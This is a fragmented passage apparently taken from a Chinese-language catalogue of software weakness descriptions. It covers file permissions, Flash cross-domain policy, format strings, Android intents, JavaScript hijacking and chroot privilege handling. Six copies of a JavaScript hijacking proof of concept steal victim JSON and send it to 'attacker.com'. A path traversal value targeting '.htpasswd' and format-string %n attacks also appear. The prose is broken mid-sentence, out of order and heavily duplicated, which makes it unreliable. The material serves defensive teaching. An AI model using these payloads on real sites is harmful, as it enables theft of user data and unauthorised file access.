permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
,如「../../localuser/public_html/.htpasswd
」,應用程式會指定攻擊者可讀取那個檔案。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
,如「../../localuser/public_html/.htpasswd
」,應用程式會指定攻擊者可讀取那個檔案。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
crossdomain.xml
組態設定檔案的適當設定來修改策略。但是,變更設定時應特別小心,因為過度允許的跨網域策略會允許惡意應用程式以不適當的方式與受害者應用程式通訊,導致欺騙、資料遭竊取、傳遞和其他攻擊。
flash.system.Security.allowDomain("*");
*
做為給 allowDomain()
的引數,表示應用程式的資料可以讓其他來自任何網域的 SWF 應用程式存取。crossdomain.xml
組態設定檔案的適當設定來修改策略。從 Flash Player 9,0,124,0 開始,Adobe 也引進了定義 Flash Player 可以在網域間傳送哪些自訂表頭的功能。但是,定義這些設定時應特別小心,因為將過度允許的自訂表頭策略和過度允許的跨網域策略一起套用時,會允許惡意應用程式將其選擇的表頭傳送到目標應用程式,可能會導致多種攻擊,或在不知道如何處理所接收之表頭的應用程式執行中造成錯誤。
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
*
做為 headers
屬性的值,表示任何表頭都會在網域間傳送。crossdomain.xml
組態設定檔案的適當設定來修改策略。但是,決定誰可以影響設定時應特別小心,因為過度允許的跨網域策略會允許惡意應用程式以不適當的方式與受害者應用程式通訊,導致欺騙、資料遭竊取、傳遞和其他攻擊。Policy restrictions bypass 弱點會在以下情況中出現:範例 2:以下程式碼對載入的 SWF 檔案使用其中一個參數的值,以定義可信任網域的清單。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
crossdomain.xml
組態設定檔案的適當設定來修改此限制。但是,定義這些設定時應特別小心,因為 HTTP 載入的 SWF 應用程式容易遭到 man-in-the-middle 攻擊,因此不應該受信賴。allowInsecureDomain()
,它會關閉以下限制:防止 HTTP 載入的 SWF 應用程式存取 HTTPS 載入之 SWF 應用程式的資料。
flash.system.Security.allowInsecureDomain("*");
services-config.xml
描述符號檔案會指定「記錄」XML 元素以描述記錄的不同內容。內容將與下列相似:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
標籤有一個名為 level
的選擇性屬性,由它來指示記錄層級。如果除錯層級設定的層級過於詳細,應用程式可能會將敏感資料寫入記錄檔案。sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
將指令行引數複製到緩衝區內。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)透過使用 %n
格式化指令,攻擊者可能寫入堆疊,導致 snprintf()
將輸出的位元組數寫入到指定的引數 (而不是如預期從引數讀取值)。這種攻擊的一種繁瑣複雜的形式會使用四條交錯的輸入來完全控制堆疊中一個指標的數值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所提到的一樣。syslog()
函數有時候以如下形式使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二個參數是個 Format String,所以任何包含在 cmdBuf
內的格式化指令都會被解譯,如 Example 1
中所述。syslog()
的正確使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或NSString.stringWithFormat
範例 1:以下程式碼在 NSString.stringWithFormat:
中使用指令行引數作為格式字串。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
) 從堆疊讀取,然後函數會取得即將格式化的引數。(在此範例中,函數沒有取得即將格式化的引數。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所提到的一樣。syslog()
函數有時候以如下形式使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二個參數是個 Format String,所以任何包含在 cmdBuf
內的格式化指令都會被解譯,如 Example 1
中所述。syslog()
的正確使用方式:範例 4:Apple 核心類別留下了危險的途徑,可藉此利用 Format String 弱點。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函數有時候以如下形式使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正確使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
的範圍函數,使用不正確時也會引起弱點。大多數 Buffer overflow 弱點的根本原因,都是緩衝區的處理,加上對資料的大小或組成假設錯誤。%d
格式規範從浮點數轉換 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
。隱含的內部 Intent 可能會使系統遭受對內部元件的 man-in-the-middle 樣式攻擊。Intent
使用內部元件定義的自訂動作。隱含 Intent 可以促進從任何指定外部元件呼叫 Intent,而無需了解特定元件。將兩者相結合,會允許應用程式從所需的應用程式內容外部存取指定給特定內部使用的 Intent。Intent
的能力,可以引發從資訊洩漏、Denial of Service 到遠端程式碼執行等各種不同嚴重程度的 man-in-the-middle 攻擊,具體取決於 Intent
指定之內部動作的能力。Intent
。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
。隱含 Pending Intent 可能會導致安全性弱點,例如 Denial of Service、私人和系統資訊洩漏以及提升特權。Intent
。隱含 Intent 有助於從任何特定外部元件呼叫 Intent,並使用通用名稱和篩選器來確定執行。Intent
做為 PendingIntent
建立時,可能會導致 Intent
被傳送到在預期暫存內容外部執行的非預期元件,從而使系統容易受到諸如 Denial of Service、私人和系統資訊洩漏和提升特權等的攻擊。PendingIntent
。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
PendingIntent
的旗標值設為 FLAG_MUTABLE
。建立的 Pending Intent 具有 FLAG_MUTABLE
旗標值時,很容易受到下游設定的未指定 Intent
欄位的影響,這可能會修改 Intent
的能力並使系統容易受到攻擊。PendingIntent
後修改其底層 Intent
,可能會使系統容易受到攻擊。這主要取決於底層 Intent
的整體能力。在大多數情況下,最佳方式是將 PendingIntent
旗標設為 FLAG_IMMUTABLE
來防止潛在問題。FLAG_MUTABLE
旗標值建立 PendingIntent
。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
來啟動活動、啟動服務或傳遞廣播時,都可能讓攻擊者可以任意啟動內部應用程式元件、控制內部元件的行為或透過臨時權限授予間接存取內容提供者的受保護資料。Intent
的額外組合中巢狀化的任意 Intent
。startActivity
、startService
或 sendBroadcast
來使用任意 Intent
啟動元件。Intent
,並使用該 Intent
來啟動活動。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,Microsoft AJAX.NET 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
標籤評估的有效 JavaScript 的回應,因此容易受到 JavaScript 劫持的攻擊 [1]。預設情況下,此框架使用 POST 方法傳遞要求,這使得從惡意的 <script>
標籤產生要求變得困難 (因為 <script>
標籤只會產生 GET 要求)。儘管如此,GWT 確實提供了使用 GET 要求的機制。事實上,許多專家鼓勵程式設計師使用 GET 要求,以執行瀏覽器快取以及增進效能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
chroot()
操作的被提升的權限等級,應該在操作後馬上被丟棄。chroot()
) 時,它必須先取得 root
權限。當權限操作完成後,程式應該馬上丟棄 root
權限並且回傳呼叫它的使用者權限等級。chroot()
將應用程式限制到 APP_HOME
下的檔案系統子集,這是為了防止攻擊者使用程式對位於別處的檔案進行未經授權的存取。然後程式碼就會開啟使用者指定的檔案並處理檔案目錄。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
的呼叫,意味著應用程式仍然繼續在使用沒有必要的 root
權限進行操作。只要攻擊者成功利用應用程式,就會引發權限提升攻擊,因為所有的惡意操作都將以超級使用者的權限來執行。如果應用程式把權限等級降低為非 root
使用者,那麼潛在的破壞立即會下降許多。